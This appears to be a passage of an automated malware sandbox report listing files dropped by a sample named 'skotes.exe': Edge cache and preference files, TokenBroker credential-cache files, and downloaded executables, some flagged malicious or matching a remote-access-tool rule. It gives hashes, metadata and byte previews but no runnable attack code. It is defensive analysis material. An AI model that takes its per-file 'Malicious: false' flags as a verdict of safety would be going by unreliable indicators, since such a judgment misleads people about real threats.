Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.005480109062948
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclRfmUHV:YWLSGTt1o9LuLgfGBPAzkVj/T8l5mU1
MD5:	590C3567E6432D7E937C924F696F4E95
SHA1:	7DBEDD5F2EB06385F846E4E45BCA5CA1983D27B4
SHA-256:	3357959B653E0217FEE3AA27EEBAB8937BC7AC79BCB401C500EEBAC493FAE918
SHA-512:	9949BB14A6302CC331ABEF4A704E5B2C35CC6D64E6F9A4C07EC315F70D99E62A76878F16361426EB8014CED435E55DF70A9D38465EFCE2F09B6D6F000BFB2C88
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1734721870181578}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c1e30bc7-9618-4026-8cc6-b11b2cac0c77.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.09530108771359
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAzi1zNt3qiApD0NMTqcQxEIKJDSgzMMd6qD47u3+7:+/Ps+wsI7ynsqiACPKtSmd6qE7lFoC
MD5:	EE5E3FFADD81952C21AE950E8FA5B901
SHA1:	FDF8C67D2E0610A35ADC4FC3C7C2080286DC3C30
SHA-256:	6347E58B70361B8B7BFEB98C19F8308A2C8A685B94F871C4B987A98DDDAD57DD
SHA-512:	C72BE2F2EEF86DAD67A9B4167CA7442BC56891B2F3C74235ABAC8E0E4AB45834B986A5FD698BA3D450948AB6E185A1E1E405EDA58C0AA5C5F9453448C8B5FD8A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e07cd2ce-a941-4d55-985e-db669e72678f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45928
Entropy (8bit):	6.092242059000332
Encrypted:	false
SSDEEP:	768:GDXzgWPsj/qlGJqIY8GB4xKpMyi1zNt3qiApD09bV3rvDyVKJDSgzMMd6qD47u3/:G/Ps+wsI7yOK+qiACQKtSmd6qE7lFov
MD5:	F9282F7B0F5908E6CCC4A7FA22694BB1
SHA1:	8D455C181FDE73946AFB8FEAD596173E45284B95
SHA-256:	E40D0C84130AF98BFEEE1AEC4CDE8015BB3A46DE5DC425247B02679ED8D5F14A
SHA-512:	9C800F49C10A2710DEB33498C13F1351667F1A6C8ADB057CB210025900E2CE68A61EA02597041D75AF1F764F8AE3096D1916FDE15D0BDCD00C382DBA8B9A2E64
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13379094666884373","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"7579ff19-8b15-43c7-97b9-d752dd6fbc22"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKl

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.851998540150749
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxPxl9Il8uLaZVZhcxl6gWSSfUFna9hUd1rc:mGYNa7PcxAXS9FazT
MD5:	3EA21CC9EC9D45AA2D8CFCC4CC0F854D
SHA1:	2DC8608E92F11409BE56576BB9845B0387087A06
SHA-256:	1C9E6A5A438DF423781B2F2BEADCA6DEAABBC346F436BA0B0171825BE83E0475
SHA-512:	11FFD95A1E6EFD18FBB6F65C160F3A53EBF2DED7E1D5C1E9FF7903C3181F8A6DE071703C85BA3297A0AF67D9983B433081DC69DE265632DFD9B43BBD5B6E9578
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.C.1.Z.o.z.B.S.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.w.h.w.w.u.w.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002086954947024
Encrypted:	false
SSDEEP:	96:XYe0lVOUWTSfrauW1L+W6l8y6ycwTAafG:X6O1mc1L+v8y6raO
MD5:	04856A39591F376A1CB70047B7D9E845
SHA1:	F41A1674C0D6A1679C7BE0DAA66C14E50D28B1A0
SHA-256:	305F02243D5EF9B8E6C832772ACD7BA31EDEC5F5E26CA369BA0D157D7644BFE5
SHA-512:	4121BB53ACDA1DD65406D62D31DAE4DFAAF640F372AC5E12837CFFA514AECF0412F066029EB57B38CF52CD253FCB28760CE5A95B127481817F98A4058E26BA01
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".S.S.X./.h.i.h.S.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.w.h.w.w.u.w.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.912938914308884
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x3Lxl9Il8uvjU02PO/T7HyCmmySzCbqnX/yGDGqXVySizd/vc:aVPYpQ0QmSfSzka/HdlySiu
MD5:	9F139C9261AB942890C6A858003D52E8
SHA1:	D35FAE7CBD78850BEA8FFC0165AFB00FF1DFD625
SHA-256:	ACDD5332D7F8A5AA4B7B8C62B2B6ABF156264786284915EF24684912A2712021
SHA-512:	21164ED4E35375751DBEDF886C79891E4C2E471C803F075D919397B726F10D3C1C5B2145F989B3D640D4920345FA4D3D08381FD805B1EC66FFF18EC4BF3D0DDF
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".B./.o.u.t.P.l.w.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.w.h.w.w.u.w.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ga70pjP[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5652480
Entropy (8bit):	7.432894467667709
Encrypted:	false
SSDEEP:	49152:nEEL5cx5xTkYJkGYYpT0+TFiH7efP8Q1yJJ4ZD1F5z97oL1YbGQ+okRPGHpRPqMD:wEs6efPNwJ4t1h0cG5FGJRPxow8O
MD5:	C9EC8EA582E787E6B9356B51811A1CA7
SHA1:	5D2EAD22DB1088ECE84A45AB28D52515837DF63B
SHA-256:	FB7DDE7E6AF9B75D598AE55C557A21F983F4B375E1C717A9D8E04B9DE1C12899
SHA-512:	8CD232049ADC316B1BA502786AC471F3C7E06DA6FEB30D8293BA77673794C2585EF44EF4934FF539A45EA5B171CE70D5409FDCD7B0F0A84AECD2138706B03FC4
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ga70pjP[1].exe, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!......S...................@...........................T.......T...@..................................)..P....`..t0S..........bT.......T..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...t0S..`...2S.. ..............@..@.reloc........T......RT.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1474560
Entropy (8bit):	7.9637580956648515
Encrypted:	false
SSDEEP:	24576:nxPMvByJyqfh/oUTN95teWNI9LHyOkYxJ4yBFxulZ+B+xpcStY5phm:xPMJ06UTKWNMbyOkY0yBFxwZ+ws5rm
MD5:	6E445F31D9F1213EE2FF40B39843B170
SHA1:	5E8B6A03493CED409608355D7D06192CB8EF5122
SHA-256:	094F00F30B66221AAB07D608C38626D2E7B4C67A15EC8DA72121DD293DA7A3D3
SHA-512:	05F8C69BB42EBBF95A8D9B60738A026F59C4C1B020F6E31C76524619F664F5AB6FBAD81547BC1834FF45DD64C46D26A8D70AB87AE0B706DE03F76014112A42AC
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z...)...)...)...(...)...(...)...(...)...(...)...(...)...(...)...(...)...)..)...)...).9.(...).9.)...).9.(...)Rich...)........................PE..L..._{_d...............%.\|...^........L...........@...........................L..........@.................................V...j.......l........................................................................................................... . .........<..................@....rsrc...l............L..............@....idata .............T..............@... ..*..........V..............@...jznnqulh.0...p2......X..............@...htcteoog......L.....................@....taggant.0....L.."..................@...........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.336742061370928
Encrypted:	false
SSDEEP:	384:JiynHMEyyp/He7ik+KcJB669mNPBqVgYERHtNNVYISZS1d7RroV5:PHvtm7ik+KcJB6jRHkISZShkn
MD5:	14BECDF1E2402E9AA6C2BE0E6167041E
SHA1:	72CBBAE6878F5E06060A0038B25EDE93B445F0DF
SHA-256:	7A769963165063758F15F6E0CECE25C9D13072F67FA0D3C25A03A5104FE0783A
SHA-512:	16B837615505F352E134AFD9D8655C9CABFA5BFCFBEE2C0C34F2D7D9588AA71F875E4E5FEB8CDF0F7BACC00F7C1CA8DABD3B3D92AFC99ABF705C05C78E298B4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...pm;..........."...0..J..........:i... ........@.. ....................................`..................................h..O...................................Th..8............................................ ............... ..H............text...@I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B.................i......H........6..p1...........................................................0..8.......s2.....(....}<.....}=.....};....\|<.....(...+.\|<...(.....0..P........~.........,B.r...p(.....rc..p(.....(.....r...p.(....(......(....o......(.......0..8.......s,.....(....}......}......}.....\|......(...+.\|....(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\NN9Dd7c[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.338206717136569
Encrypted:	false
SSDEEP:	384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
MD5:	04F57C6FB2B2CD8DCC4B38E4A93D4366
SHA1:	61770495AA18D480F70B654D1F57998E5BD8C885
SHA-256:	51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
SHA-512:	53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.7..........."...0..L...........j... ........@.. ....................................`.................................<j..O....................................i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B................pj......H.......(7...2...........................................................0..8.......s/.....(....} .....}!.....}.....\| .....(...+.\| ...(.....0..P........~.........,B.r...p(.....r...p(.....(.....r...p.(....(......(....o......(.......0..8.......s2.....(....}(.....}).....}'....\|(.....(...+.\|(...(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json

Download File

Process:	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37341843229417
Encrypted:	false
SSDEEP:	48:SfNaoChO2pO2hTEChO2/fNaoC9W3C9W/fNaoCnSoCn4fNaoCDth0IS0UrU0U8CD5:6NnCoTKTECoqNnC9W3C9qNnCdCENnCDl
MD5:	2FFFBB6CE0BAF56EBC856B151DFC18AC
SHA1:	8DC913436C1AE07E51239805F69B409AEE835317
SHA-256:	5096BDFEFA2B2D5FE5837407EF261E040ECE9DFA8CF76359F4197A903842842C
SHA-512:	7FF9EB2FC78DC8670C0E59DF74D3E14936EC59F7ECDBA5E4B2370841BC23877C2B2422B76BCD06DA0D7F657669288174C0D7CCAB53BFD4BCD94B4D581D411BB5
Malicious:	false
